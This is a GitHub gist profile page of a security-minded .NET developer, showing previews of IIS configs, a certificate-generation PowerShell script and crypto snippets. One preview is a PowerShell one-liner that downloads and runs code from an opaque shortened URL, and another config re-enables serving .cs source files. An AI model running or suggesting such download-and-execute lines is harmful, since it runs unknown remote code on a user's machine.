Skip to content

Instantly share code, notes, and snippets.

View blowdart's full-sized avatar
😡
Probably disgusted with your security choices.

Barry Dorrans blowdart

😡
Probably disgusted with your security choices.
View GitHub Profile
iex (New-Object Net.WebClient).DownloadString("http://bit.ly/e0Mw9w")

Keybase proof

I hereby claim:

  • I am blowdart on github.
  • I am blowdart (https://keybase.io/blowdart) on keybase.
  • I have a public key ASBe_Gv85O-JHzTT_OB3qR5xCaafjrubxTMBBna_Z2J16go

To claim this, I am signing this object:

@blowdart
blowdart / web.config
Created February 8, 2018 15:56
Suppressing headers
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.web>
<httpRuntime enableVersionHeader="false"/>
</system.web>
<system.webServer>
<security>
<requestFiltering removeServerHeader="true" />
</security>
<httpProtocol>
@blowdart
blowdart / UpdateIISExpressSSLForChome.ps1
Last active October 7, 2021 10:59
IIS Express certs (for now) don't contain SAN strings. This makes Chrome unhappy. Make Chrome happy again with a new organic, artisanal, gluten free HTTPS certificate.
# Create a new self signed HTTPS Certificate for IIS Express
# Crafted with all organic, GMO, gluten free ingreditations
# with an artisinal SAN to make Chrome 58 onwards happy.
#
# See https://bugs.chromium.org/p/chromium/issues/detail?id=308330
#
# Run this at an administrative PowerShell prompt.
#
# You will be prompted to trust a new certificate via a windows dialog.
# Click yes otherwise Visual Studio will not be able to determine your
| __ )(_) ___
| _ \| |/ _ \
| |_) | | (_) |
|____/|_|\___/
Alon Bassok, Ph.D., is an urban planner with a focus on real estate
and sustainable transportation. Alon currently works for the Runstad
Center for Real Estate Studies at the University of Washington where
he conducts research on Washington's housing market, green building
values, and parking requirements. Alon also teaches in the Sustainable
<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<httpProtocol>
<customHeaders>
<add name="X-Clacks-Overhead" value="GNU Terry Prachett" />
</customHeaders>
</httpProtocol>
</system.webServer>
</configuration>
<system.webServer>
<security>
<requestFiltering>
<fileExtensions>
<!-- I KNOW WHAT I AM DOING. I AM JON SKEET -->
<remove fileExtension=".cs" />
<add fileExtension=".cs" allowed="true" />
</fileExtensions>
</requestFiltering>
</security>
@blowdart
blowdart / gist:4035399
Created November 7, 2012 23:39
Hello request in flight body
protected override async Task<HttpResponseMessage> SendAsync(HttpRequestMessage request, System.Threading.CancellationToken cancellationToken)
{
if (request.Headers.Date == null)
{
request.Headers.Date = DateTime.UtcNow;
}
// Check if we have request content, if we do then we need to add a Content-MD5 header.
if (request.Content != null && request.Content.Headers.ContentMD5 == null)
{
@blowdart
blowdart / EncryptionPaddingProblem.cs
Created May 18, 2011 17:20 — forked from follesoe/EncryptionPaddingProblem.cs
Padding problem with AesManaged
using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;
namespace CryptoTest
{
class Program
{
static void Main(string[] args)